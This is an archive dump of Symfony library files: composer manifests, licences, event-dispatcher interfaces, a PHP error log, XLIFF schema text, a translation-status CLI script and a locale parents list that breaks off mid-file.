NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. polyfill-mbstring/composer.json000064400000002040151113512120012727 0ustar00{ "name": "symfony/polyfill-mbstring", "type": "library", "description": "Symfony polyfill for the Mbstring extension", "keywords": ["polyfill", "shim", "compatibility", "portable", "mbstring"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "provide": { "ext-mbstring": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-mbstring": "For best performance" }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "1.28-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } event-dispatcher-contracts/README.md000064400000000532151113512120013256 0ustar00Symfony EventDispatcher Contracts ================================= A set of abstractions extracted out of the Symfony components. Can be used to build on semantics that the Symfony components proved useful and that already have battle tested implementations. See https://github.com/symfony/contracts/blob/main/README.md for more information. event-dispatcher-contracts/LICENSE000064400000002054151113512120013005 0ustar00Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. event-dispatcher-contracts/composer.json000064400000001732151113512120014524 0ustar00{ "name": "symfony/event-dispatcher-contracts", "type": "library", "description": "Generic abstractions related to dispatching event", "keywords": ["abstractions", "contracts", "decoupling", "interfaces", "interoperability", "standards"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "psr/event-dispatcher": "^1" }, "autoload": { "psr-4": { "Symfony\\Contracts\\EventDispatcher\\": "" } }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "3.4-dev" }, "thanks": { "name": "symfony/contracts", "url": "https://github.com/symfony/contracts" } } } event-dispatcher-contracts/EventDispatcherInterface.php000064400000002016151113512120017420 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\EventDispatcher; use Psr\EventDispatcher\EventDispatcherInterface as PsrEventDispatcherInterface; /** * Allows providing hooks on domain-specific lifecycles by dispatching events. */ interface EventDispatcherInterface extends PsrEventDispatcherInterface { /** * Dispatches an event to all registered listeners. * * @template T of object * * @param T $event The event to pass to the event handlers/listeners * @param string|null $eventName The name of the event to dispatch. If not supplied, * the class of $event should be used instead. * * @return T The passed $event MUST be returned */ public function dispatch(object $event, string $eventName = null): object; } event-dispatcher-contracts/error_log000064400000004273151113512120013722 0ustar00[18-Nov-2025 17:42:58 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\StoppableEventInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php on line 31 [18-Nov-2025 17:54:34 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php on line 19 [19-Nov-2025 01:51:39 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\StoppableEventInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php on line 31 [24-Nov-2025 10:15:41 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php on line 19 [25-Nov-2025 09:58:14 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\StoppableEventInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/Event.php on line 31 [25-Nov-2025 10:50:42 UTC] PHP Fatal error: Uncaught Error: Interface "Psr\EventDispatcher\EventDispatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher-contracts/EventDispatcherInterface.php on line 19 event-dispatcher-contracts/Event.php000064400000002707151113512120013577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\EventDispatcher; use Psr\EventDispatcher\StoppableEventInterface; /** * Event is the base class for classes containing event data. * * This class contains no event data. It is used by events that do not pass * state information to an event handler when an event is raised. * * You can call the method stopPropagation() to abort the execution of * further listeners in your event listener. * * @author Guilherme Blanco * @author Jonathan Wage * @author Roman Borschel * @author Bernhard Schussek * @author Nicolas Grekas */ class Event implements StoppableEventInterface { private bool $propagationStopped = false; public function isPropagationStopped(): bool { return $this->propagationStopped; } /** * Stops the propagation of the event to further event listeners. * * If multiple event listeners are connected to the same event, no * further event listener will be triggered once any trigger calls * stopPropagation(). */ public function stopPropagation(): void { $this->propagationStopped = true; } } event-dispatcher-contracts/CHANGELOG.md000064400000000235151113512120013610 0ustar00CHANGELOG ========= The changelog is maintained for all Symfony contracts at the following URL: https://github.com/symfony/contracts/blob/main/CHANGELOG.md translation/Resources/schemas/xml.xsd000064400000021220151113512120014004 0ustar00

About the XML namespace

This schema document describes the XML namespace, in a form suitable for import by other schema documents.

See http://www.w3.org/XML/1998/namespace.html and http://www.w3.org/TR/REC-xml for information about this namespace.

Note that local names in this namespace are intended to be defined only by the World Wide Web Consortium or its subgroups. The names currently defined in this namespace are listed below. They should not be used with conflicting semantics by any Working Group, specification, or document instance.

See further below in this document for more information about how to refer to this schema document from your own XSD schema documents and about the namespace-versioning policy governing this schema document.

lang (as an attribute name)

denotes an attribute whose value is a language code for the natural language of the content of any element; its value is inherited. This name is reserved by virtue of its definition in the XML specification.

Notes

Attempting to install the relevant ISO 2- and 3-letter codes as the enumerated possible values is probably never going to be a realistic possibility.

See BCP 47 at http://www.rfc-editor.org/rfc/bcp/bcp47.txt and the IANA language subtag registry at http://www.iana.org/assignments/language-subtag-registry for further information.

The union allows for the 'un-declaration' of xml:lang with the empty string.

space (as an attribute name)

denotes an attribute whose value is a keyword indicating what whitespace processing discipline is intended for the content of the element; its value is inherited. This name is reserved by virtue of its definition in the XML specification.

base (as an attribute name)

denotes an attribute whose value provides a URI to be used as the base for interpreting any relative URIs in the scope of the element on which it appears; its value is inherited. This name is reserved by virtue of its definition in the XML Base specification.

See http://www.w3.org/TR/xmlbase/ for information about this attribute.

id (as an attribute name)

denotes an attribute whose value should be interpreted as if declared to be of type ID. This name is reserved by virtue of its definition in the xml:id specification.

See http://www.w3.org/TR/xml-id/ for information about this attribute.

Father (in any context at all)

denotes Jon Bosak, the chair of the original XML Working Group. This name is reserved by the following decision of the W3C XML Plenary and XML Coordination groups:

In appreciation for his vision, leadership and dedication the W3C XML Plenary on this 10th day of February, 2000, reserves for Jon Bosak in perpetuity the XML name "xml:Father".

About this schema document

This schema defines attributes and an attribute group suitable for use by schemas wishing to allow xml:base, xml:lang, xml:space or xml:id attributes on elements they define.

To enable this, such a schema must import this schema for the XML namespace, e.g. as follows:

          <schema.. .>
          .. .
           <import namespace="http://www.w3.org/XML/1998/namespace"
                      schemaLocation="http://www.w3.org/2001/xml.xsd"/>
     

or


           <import namespace="http://www.w3.org/XML/1998/namespace"
                      schemaLocation="http://www.w3.org/2009/01/xml.xsd"/>
     

Subsequently, qualified reference to any of the attributes or the group defined below will have the desired effect, e.g.

          <type.. .>
          .. .
           <attributeGroup ref="xml:specialAttrs"/>
     

will define a type which will schema-validate an instance element with any of those attributes.

Versioning policy for this schema document

In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at http://www.w3.org/2009/01/xml.xsd.

At the date of issue it can also be found at http://www.w3.org/2001/xml.xsd.

The schema document at that URI may however change in the future, in order to remain compatible with the latest version of XML Schema itself, or with the XML namespace itself. In other words, if the XML Schema or XML namespaces change, the version of this document at http://www.w3.org/2001/xml.xsd will change accordingly; the version at http://www.w3.org/2009/01/xml.xsd will not change.

Previous dated (and unchanging) versions of this schema document are at:

translation/Resources/schemas/xliff-core-1.2-transitional.xsd000064400000315625151113512120020264 0ustar00 Values for the attribute 'context-type'. Indicates a database content. Indicates the content of an element within an XML document. Indicates the name of an element within an XML document. Indicates the line number from the sourcefile (see context-type="sourcefile") where the <source> is found. Indicates a the number of parameters contained within the <source>. Indicates notes pertaining to the parameters in the <source>. Indicates the content of a record within a database. Indicates the name of a record within a database. Indicates the original source file in the case that multiple files are merged to form the original file from which the XLIFF file is created. This differs from the original <file> attribute in that this sourcefile is one of many that make up that file. Values for the attribute 'count-type'. Indicates the count units are items that are used X times in a certain context; example: this is a reusable text unit which is used 42 times in other texts. Indicates the count units are translation units existing already in the same document. Indicates a total count. Values for the attribute 'ctype' when used other elements than <ph> or <x>. Indicates a run of bolded text. Indicates a run of text in italics. Indicates a run of underlined text. Indicates a run of hyper-text. Values for the attribute 'ctype' when used with <ph> or <x>. Indicates a inline image. Indicates a page break. Indicates a line break. Values for the attribute 'datatype'. Indicates Active Server Page data. Indicates C source file data. Indicates Channel Definition Format (CDF) data. Indicates ColdFusion data. Indicates C++ source file data. Indicates C-Sharp data. Indicates strings from C, ASM, and driver files data. Indicates comma-separated values data. Indicates database data. Indicates portions of document that follows data and contains metadata. Indicates portions of document that precedes data and contains metadata. Indicates data from standard UI file operations dialogs (e.g., Open, Save, Save As, Export, Import). Indicates standard user input screen data. Indicates HyperText Markup Language (HTML) data - document instance. Indicates content within an HTML document’s <body> element. Indicates Windows INI file data. Indicates Interleaf data. Indicates Java source file data (extension '.java'). Indicates Java property resource bundle data. Indicates Java list resource bundle data. Indicates JavaScript source file data. Indicates JScript source file data. Indicates information relating to formatting. Indicates LISP source file data. Indicates information relating to margin formats. Indicates a file containing menu. Indicates numerically identified string table. Indicates Maker Interchange Format (MIF) data. Indicates that the datatype attribute value is a MIME Type value and is defined in the mime-type attribute. Indicates GNU Machine Object data. Indicates Message Librarian strings created by Novell's Message Librarian Tool. Indicates information to be displayed at the bottom of each page of a document. Indicates information to be displayed at the top of each page of a document. Indicates a list of property values (e.g., settings within INI files or preferences dialog). Indicates Pascal source file data. Indicates Hypertext Preprocessor data. Indicates plain text file (no formatting other than, possibly, wrapping). Indicates GNU Portable Object file. Indicates dynamically generated user defined document. e.g. Oracle Report, Crystal Report, etc. Indicates Windows .NET binary resources. Indicates Windows .NET Resources. Indicates Rich Text Format (RTF) data. Indicates Standard Generalized Markup Language (SGML) data - document instance. Indicates Standard Generalized Markup Language (SGML) data - Document Type Definition (DTD). Indicates Scalable Vector Graphic (SVG) data. Indicates VisualBasic Script source file. Indicates warning message. Indicates Windows (Win32) resources (i.e. resources extracted from an RC script, a message file, or a compiled file). Indicates Extensible HyperText Markup Language (XHTML) data - document instance. Indicates Extensible Markup Language (XML) data - document instance. Indicates Extensible Markup Language (XML) data - Document Type Definition (DTD). Indicates Extensible Stylesheet Language (XSL) data. Indicates XUL elements. Values for the attribute 'mtype'. Indicates the marked text is an abbreviation. ISO-12620 2.1.8: A term resulting from the omission of any part of the full term while designating the same concept. ISO-12620 2.1.8.1: An abbreviated form of a simple term resulting from the omission of some of its letters (e.g. 'adj.' for 'adjective'). ISO-12620 2.1.8.4: An abbreviated form of a term made up of letters from the full form of a multiword term strung together into a sequence pronounced only syllabically (e.g. 'radar' for 'radio detecting and ranging'). ISO-12620: A proper-name term, such as the name of an agency or other proper entity. ISO-12620 2.1.18.1: A recurrent word combination characterized by cohesion in that the components of the collocation must co-occur within an utterance or series of utterances, even though they do not necessarily have to maintain immediate proximity to one another. ISO-12620 2.1.5: A synonym for an international scientific term that is used in general discourse in a given language. Indicates the marked text is a date and/or time. ISO-12620 2.1.15: An expression used to represent a concept based on a statement that two mathematical expressions are, for instance, equal as identified by the equal sign (=), or assigned to one another by a similar sign. ISO-12620 2.1.7: The complete representation of a term for which there is an abbreviated form. ISO-12620 2.1.14: Figures, symbols or the like used to express a concept briefly, such as a mathematical or chemical formula. ISO-12620 2.1.1: The concept designation that has been chosen to head a terminological record. ISO-12620 2.1.8.3: An abbreviated form of a term consisting of some of the initial letters of the words making up a multiword term or the term elements making up a compound term when these letters are pronounced individually (e.g. 'BSE' for 'bovine spongiform encephalopathy'). ISO-12620 2.1.4: A term that is part of an international scientific nomenclature as adopted by an appropriate scientific body. ISO-12620 2.1.6: A term that has the same or nearly identical orthographic or phonemic form in many languages. ISO-12620 2.1.16: An expression used to represent a concept based on mathematical or logical relations, such as statements of inequality, set relationships, Boolean operations, and the like. ISO-12620 2.1.17: A unit to track object. Indicates the marked text is a name. ISO-12620 2.1.3: A term that represents the same or a very similar concept as another term in the same language, but for which interchangeability is limited to some contexts and inapplicable in others. ISO-12620 2.1.17.2: A unique alphanumeric designation assigned to an object in a manufacturing system. Indicates the marked text is a phrase. ISO-12620 2.1.18: Any group of two or more words that form a unit, the meaning of which frequently cannot be deduced based on the combined sense of the words making up the phrase. Indicates the marked text should not be translated. ISO-12620 2.1.12: A form of a term resulting from an operation whereby non-Latin writing systems are converted to the Latin alphabet. Indicates that the marked text represents a segment. ISO-12620 2.1.18.2: A fixed, lexicalized phrase. ISO-12620 2.1.8.2: A variant of a multiword term that includes fewer words than the full form of the term (e.g. 'Group of Twenty-four' for 'Intergovernmental Group of Twenty-four on International Monetary Affairs'). ISO-12620 2.1.17.1: Stock keeping unit, an inventory item identified by a unique alphanumeric designation assigned to an object in an inventory control system. ISO-12620 2.1.19: A fixed chunk of recurring text. ISO-12620 2.1.13: A designation of a concept by letters, numerals, pictograms or any combination thereof. ISO-12620 2.1.2: Any term that represents the same or a very similar concept as the main entry term in a term entry. ISO-12620 2.1.18.3: Phraseological unit in a language that expresses the same semantic content as another phrase in that same language. Indicates the marked text is a term. ISO-12620 2.1.11: A form of a term resulting from an operation whereby the characters of one writing system are represented by characters from another writing system, taking into account the pronunciation of the characters converted. ISO-12620 2.1.10: A form of a term resulting from an operation whereby the characters of an alphabetic writing system are represented by characters from another alphabetic writing system. ISO-12620 2.1.8.5: An abbreviated form of a term resulting from the omission of one or more term elements or syllables (e.g. 'flu' for 'influenza'). ISO-12620 2.1.9: One of the alternate forms of a term. Values for the attribute 'restype'. Indicates a Windows RC AUTO3STATE control. Indicates a Windows RC AUTOCHECKBOX control. Indicates a Windows RC AUTORADIOBUTTON control. Indicates a Windows RC BEDIT control. Indicates a bitmap, for example a BITMAP resource in Windows. Indicates a button object, for example a BUTTON control Windows. Indicates a caption, such as the caption of a dialog box. Indicates the cell in a table, for example the content of the <td> element in HTML. Indicates check box object, for example a CHECKBOX control in Windows. Indicates a menu item with an associated checkbox. Indicates a list box, but with a check-box for each item. Indicates a color selection dialog. Indicates a combination of edit box and listbox object, for example a COMBOBOX control in Windows. Indicates an initialization entry of an extended combobox DLGINIT resource block. (code 0x1234). Indicates an initialization entry of a combobox DLGINIT resource block (code 0x0403). Indicates a UI base class element that cannot be represented by any other element. Indicates a context menu. Indicates a Windows RC CTEXT control. Indicates a cursor, for example a CURSOR resource in Windows. Indicates a date/time picker. Indicates a Windows RC DEFPUSHBUTTON control. Indicates a dialog box. Indicates a Windows RC DLGINIT resource block. Indicates an edit box object, for example an EDIT control in Windows. Indicates a filename. Indicates a file dialog. Indicates a footnote. Indicates a font name. Indicates a footer. Indicates a frame object. Indicates a XUL grid element. Indicates a groupbox object, for example a GROUPBOX control in Windows. Indicates a header item. Indicates a heading, such has the content of <h1>, <h2>, etc. in HTML. Indicates a Windows RC HEDIT control. Indicates a horizontal scrollbar. Indicates an icon, for example an ICON resource in Windows. Indicates a Windows RC IEDIT control. Indicates keyword list, such as the content of the Keywords meta-data in HTML, or a K footnote in WinHelp RTF. Indicates a label object. Indicates a label that is also a HTML link (not necessarily a URL). Indicates a list (a group of list-items, for example an <ol> or <ul> element in HTML). Indicates a listbox object, for example an LISTBOX control in Windows. Indicates an list item (an entry in a list). Indicates a Windows RC LTEXT control. Indicates a menu (a group of menu-items). Indicates a toolbar containing one or more tope level menus. Indicates a menu item (an entry in a menu). Indicates a XUL menuseparator element. Indicates a message, for example an entry in a MESSAGETABLE resource in Windows. Indicates a calendar control. Indicates an edit box beside a spin control. Indicates a catch all for rectangular areas. Indicates a standalone menu not necessarily associated with a menubar. Indicates a pushbox object, for example a PUSHBOX control in Windows. Indicates a Windows RC PUSHBUTTON control. Indicates a radio button object. Indicates a menuitem with associated radio button. Indicates raw data resources for an application. Indicates a row in a table. Indicates a Windows RC RTEXT control. Indicates a user navigable container used to show a portion of a document. Indicates a generic divider object (e.g. menu group separator). Windows accelerators, shortcuts in resource or property files. Indicates a UI control to indicate process activity but not progress. Indicates a splitter bar. Indicates a Windows RC STATE3 control. Indicates a window for providing feedback to the users, like 'read-only', etc. Indicates a string, for example an entry in a STRINGTABLE resource in Windows. Indicates a layers of controls with a tab to select layers. Indicates a display and edits regular two-dimensional tables of cells. Indicates a XUL textbox element. Indicates a UI button that can be toggled to on or off state. Indicates an array of controls, usually buttons. Indicates a pop up tool tip text. Indicates a bar with a pointer indicating a position within a certain range. Indicates a control that displays a set of hierarchical data. Indicates a URI (URN or URL). Indicates a Windows RC USERBUTTON control. Indicates a user-defined control like CONTROL control in Windows. Indicates the text of a variable. Indicates version information about a resource like VERSIONINFO in Windows. Indicates a vertical scrollbar. Indicates a graphical window. Values for the attribute 'size-unit'. Indicates a size in 8-bit bytes. Indicates a size in Unicode characters. Indicates a size in columns. Used for HTML text area. Indicates a size in centimeters. Indicates a size in dialog units, as defined in Windows resources. Indicates a size in 'font-size' units (as defined in CSS). Indicates a size in 'x-height' units (as defined in CSS). Indicates a size in glyphs. A glyph is considered to be one or more combined Unicode characters that represent a single displayable text character. Sometimes referred to as a 'grapheme cluster' Indicates a size in inches. Indicates a size in millimeters. Indicates a size in percentage. Indicates a size in pixels. Indicates a size in point. Indicates a size in rows. Used for HTML text area. Values for the attribute 'state'. Indicates the terminating state. Indicates only non-textual information needs adaptation. Indicates both text and non-textual information needs adaptation. Indicates only non-textual information needs review. Indicates both text and non-textual information needs review. Indicates that only the text of the item needs to be reviewed. Indicates that the item needs to be translated. Indicates that the item is new. For example, translation units that were not in a previous version of the document. Indicates that changes are reviewed and approved. Indicates that the item has been translated. Values for the attribute 'state-qualifier'. Indicates an exact match. An exact match occurs when a source text of a segment is exactly the same as the source text of a segment that was translated previously. Indicates a fuzzy match. A fuzzy match occurs when a source text of a segment is very similar to the source text of a segment that was translated previously (e.g. when the difference is casing, a few changed words, white-space discripancy, etc.). Indicates a match based on matching IDs (in addition to matching text). Indicates a translation derived from a glossary. Indicates a translation derived from existing translation. Indicates a translation derived from machine translation. Indicates a translation derived from a translation repository. Indicates a translation derived from a translation memory. Indicates the translation is suggested by machine translation. Indicates that the item has been rejected because of incorrect grammar. Indicates that the item has been rejected because it is incorrect. Indicates that the item has been rejected because it is too long or too short. Indicates that the item has been rejected because of incorrect spelling. Indicates the translation is suggested by translation memory. Values for the attribute 'unit'. Refers to words. Refers to pages. Refers to <trans-unit> elements. Refers to <bin-unit> elements. Refers to glyphs. Refers to <trans-unit> and/or <bin-unit> elements. Refers to the occurrences of instances defined by the count-type value. Refers to characters. Refers to lines. Refers to sentences. Refers to paragraphs. Refers to segments. Refers to placeables (inline elements). Values for the attribute 'priority'. Highest priority. High priority. High priority, but not as important as 2. High priority, but not as important as 3. Medium priority, but more important than 6. Medium priority, but less important than 5. Low priority, but more important than 8. Low priority, but more important than 9. Low priority. Lowest priority. This value indicates that all properties can be reformatted. This value must be used alone. This value indicates that no properties should be reformatted. This value must be used alone. This value indicates that all information in the coord attribute can be modified. This value indicates that the x information in the coord attribute can be modified. This value indicates that the y information in the coord attribute can be modified. This value indicates that the cx information in the coord attribute can be modified. This value indicates that the cy information in the coord attribute can be modified. This value indicates that all the information in the font attribute can be modified. This value indicates that the name information in the font attribute can be modified. This value indicates that the size information in the font attribute can be modified. This value indicates that the weight information in the font attribute can be modified. This value indicates that the information in the css-style attribute can be modified. This value indicates that the information in the style attribute can be modified. This value indicates that the information in the exstyle attribute can be modified. Indicates that the context is informational in nature, specifying for example, how a term should be translated. Thus, should be displayed to anyone editing the XLIFF document. Indicates that the context-group is used to specify where the term was found in the translatable source. Thus, it is not displayed. Indicates that the context information should be used during translation memory lookups. Thus, it is not displayed. Represents a translation proposal from a translation memory or other resource. Represents a previous version of the target element. Represents a rejected version of the target element. Represents a translation to be used for reference purposes only, for example from a related product or a different language. Represents a proposed translation that was used for the translation of the trans-unit, possibly modified. Values for the attribute 'coord'. Version values: 1.0 and 1.1 are allowed for backward compatibility. translation/Resources/schemas/xliff-core-2.0.xsd000064400000040554151113512120015552 0ustar00 translation/Resources/bin/translation-status.php000064400000021221151113512120016202 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if ('cli' !== \PHP_SAPI) { throw new Exception('This script must be run from the command line.'); } $usageInstructions = << false, // NULL = analyze all locales 'locale_to_analyze' => null, // append --incomplete to only show incomplete languages 'include_completed_languages' => true, // the reference files all the other translations are compared to 'original_files' => [ 'src/Symfony/Component/Form/Resources/translations/validators.en.xlf', 'src/Symfony/Component/Security/Core/Resources/translations/security.en.xlf', 'src/Symfony/Component/Validator/Resources/translations/validators.en.xlf', ], ]; $argc = $_SERVER['argc']; $argv = $_SERVER['argv']; if ($argc > 4) { echo str_replace('translation-status.php', $argv[0], $usageInstructions); exit(1); } foreach (array_slice($argv, 1) as $argumentOrOption) { if ('--incomplete' === $argumentOrOption) { $config['include_completed_languages'] = false; continue; } if (str_starts_with($argumentOrOption, '-')) { $config['verbose_output'] = true; } else { $config['locale_to_analyze'] = $argumentOrOption; } } foreach ($config['original_files'] as $originalFilePath) { if (!file_exists($originalFilePath)) { echo sprintf('The following file does not exist. Make sure that you execute this command at the root dir of the Symfony code repository.%s %s', \PHP_EOL, $originalFilePath); exit(1); } } $totalMissingTranslations = 0; $totalTranslationMismatches = 0; foreach ($config['original_files'] as $originalFilePath) { $translationFilePaths = findTranslationFiles($originalFilePath, $config['locale_to_analyze']); $translationStatus = calculateTranslationStatus($originalFilePath, $translationFilePaths); $totalMissingTranslations += array_sum(array_map(fn ($translation) => count($translation['missingKeys']), array_values($translationStatus))); $totalTranslationMismatches += array_sum(array_map(fn ($translation) => count($translation['mismatches']), array_values($translationStatus))); printTranslationStatus($originalFilePath, $translationStatus, $config['verbose_output'], $config['include_completed_languages']); } exit($totalTranslationMismatches > 0 ? 1 : 0); function findTranslationFiles($originalFilePath, $localeToAnalyze): array { $translations = []; $translationsDir = dirname($originalFilePath); $originalFileName = basename($originalFilePath); $translationFileNamePattern = str_replace('.en.', '.*.', $originalFileName); $translationFiles = glob($translationsDir.'/'.$translationFileNamePattern, \GLOB_NOSORT); sort($translationFiles); foreach ($translationFiles as $filePath) { $locale = extractLocaleFromFilePath($filePath); if (null !== $localeToAnalyze && $locale !== $localeToAnalyze) { continue; } $translations[$locale] = $filePath; } return $translations; } function calculateTranslationStatus($originalFilePath, $translationFilePaths): array { $translationStatus = []; $allTranslationKeys = extractTranslationKeys($originalFilePath); foreach ($translationFilePaths as $locale => $translationPath) { $translatedKeys = extractTranslationKeys($translationPath); $missingKeys = array_diff_key($allTranslationKeys, $translatedKeys); $mismatches = findTransUnitMismatches($allTranslationKeys, $translatedKeys); $translationStatus[$locale] = [ 'total' => count($allTranslationKeys), 'translated' => count($translatedKeys), 'missingKeys' => $missingKeys, 'mismatches' => $mismatches, ]; $translationStatus[$locale]['is_completed'] = isTranslationCompleted($translationStatus[$locale]); } return $translationStatus; } function isTranslationCompleted(array $translationStatus): bool { return $translationStatus['total'] === $translationStatus['translated'] && 0 === count($translationStatus['mismatches']); } function printTranslationStatus($originalFilePath, $translationStatus, $verboseOutput, $includeCompletedLanguages) { printTitle($originalFilePath); printTable($translationStatus, $verboseOutput, $includeCompletedLanguages); echo \PHP_EOL.\PHP_EOL; } function extractLocaleFromFilePath($filePath) { $parts = explode('.', $filePath); return $parts[count($parts) - 2]; } function extractTranslationKeys($filePath): array { $translationKeys = []; $contents = new \SimpleXMLElement(file_get_contents($filePath)); foreach ($contents->file->body->{'trans-unit'} as $translationKey) { $translationId = (string) $translationKey['id']; $translationKey = (string) $translationKey->source; $translationKeys[$translationId] = $translationKey; } return $translationKeys; } /** * Check whether the trans-unit id and source match with the base translation. */ function findTransUnitMismatches(array $baseTranslationKeys, array $translatedKeys): array { $mismatches = []; foreach ($baseTranslationKeys as $translationId => $translationKey) { if (!isset($translatedKeys[$translationId])) { continue; } if ($translatedKeys[$translationId] !== $translationKey) { $mismatches[$translationId] = [ 'found' => $translatedKeys[$translationId], 'expected' => $translationKey, ]; } } return $mismatches; } function printTitle($title) { echo $title.\PHP_EOL; echo str_repeat('=', strlen($title)).\PHP_EOL.\PHP_EOL; } function printTable($translations, $verboseOutput, bool $includeCompletedLanguages) { if (0 === count($translations)) { echo 'No translations found'; return; } $longestLocaleNameLength = max(array_map('strlen', array_keys($translations))); foreach ($translations as $locale => $translation) { if (!$includeCompletedLanguages && $translation['is_completed']) { continue; } if ($translation['translated'] > $translation['total']) { textColorRed(); } elseif (count($translation['mismatches']) > 0) { textColorRed(); } elseif ($translation['is_completed']) { textColorGreen(); } echo sprintf( '| Locale: %-'.$longestLocaleNameLength.'s | Translated: %2d/%2d | Mismatches: %d |', $locale, $translation['translated'], $translation['total'], count($translation['mismatches']) ).\PHP_EOL; textColorNormal(); $shouldBeClosed = false; if (true === $verboseOutput && count($translation['missingKeys']) > 0) { echo '| Missing Translations:'.\PHP_EOL; foreach ($translation['missingKeys'] as $id => $content) { echo sprintf('| (id=%s) %s', $id, $content).\PHP_EOL; } $shouldBeClosed = true; } if (true === $verboseOutput && count($translation['mismatches']) > 0) { echo '| Mismatches between trans-unit id and source:'.\PHP_EOL; foreach ($translation['mismatches'] as $id => $content) { echo sprintf('| (id=%s) Expected: %s', $id, $content['expected']).\PHP_EOL; echo sprintf('| Found: %s', $content['found']).\PHP_EOL; } $shouldBeClosed = true; } if ($shouldBeClosed) { echo str_repeat('-', 80).\PHP_EOL; } } } function textColorGreen() { echo "\033[32m"; } function textColorRed() { echo "\033[31m"; } function textColorNormal() { echo "\033[0m"; } translation/Resources/functions.php000064400000001062151113512120013564 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; if (!\function_exists(t::class)) { /** * @author Nate Wiebe */ function t(string $message, array $parameters = [], string $domain = null): TranslatableMessage { return new TranslatableMessage($message, $parameters, $domain); } } translation/Resources/data/parents.json000064400000006212151113512120014325 0ustar00{ "az_Cyrl": "root", "bs_Cyrl": "root", "en_150": "en_001", "en_AG": "en_001", "en_AI": "en_001", "en_AT": "en_150", "en_AU": "en_001", "en_BB": "en_001", "en_BE": "en_150", "en_BM": "en_001", "en_BS": "en_001", "en_BW": "en_001", "en_BZ": "en_001", "en_CC": "en_001", "en_CH": "en_150", "en_CK": "en_001", "en_CM": "en_001", "en_CX": "en_001", "en_CY": "en_001", "en_DE": "en_150", "en_DG": "en_001", "en_DK": "en_150", "en_DM": "en_001", "en_ER": "en_001", "en_FI": "en_150", "en_FJ": "en_001", "en_FK": "en_001", "en_FM": "en_001", "en_GB": "en_001", "en_GD": "en_001", "en_GG": "en_001", "en_GH": "en_001", "en_GI": "en_001", "en_GM": "en_001", "en_GY": "en_001", "en_HK": "en_001", "en_ID": "en_001", "en_IE": "en_001", "en_IL": "en_001", "en_IM": "en_001", "en_IN": "en_001", "en_IO": "en_001", "en_JE": "en_001", "en_JM": "en_001", "en_KE": "en_001", "en_KI": "en_001", "en_KN": "en_001", "en_KY": "en_001", "en_LC": "en_001", "en_LR": "en_001", "en_LS": "en_001", "en_MG": "en_001", "en_MO": "en_001", "en_MS": "en_001", "en_MT": "en_001", "en_MU": "en_001", "en_MV": "en_001", "en_MW": 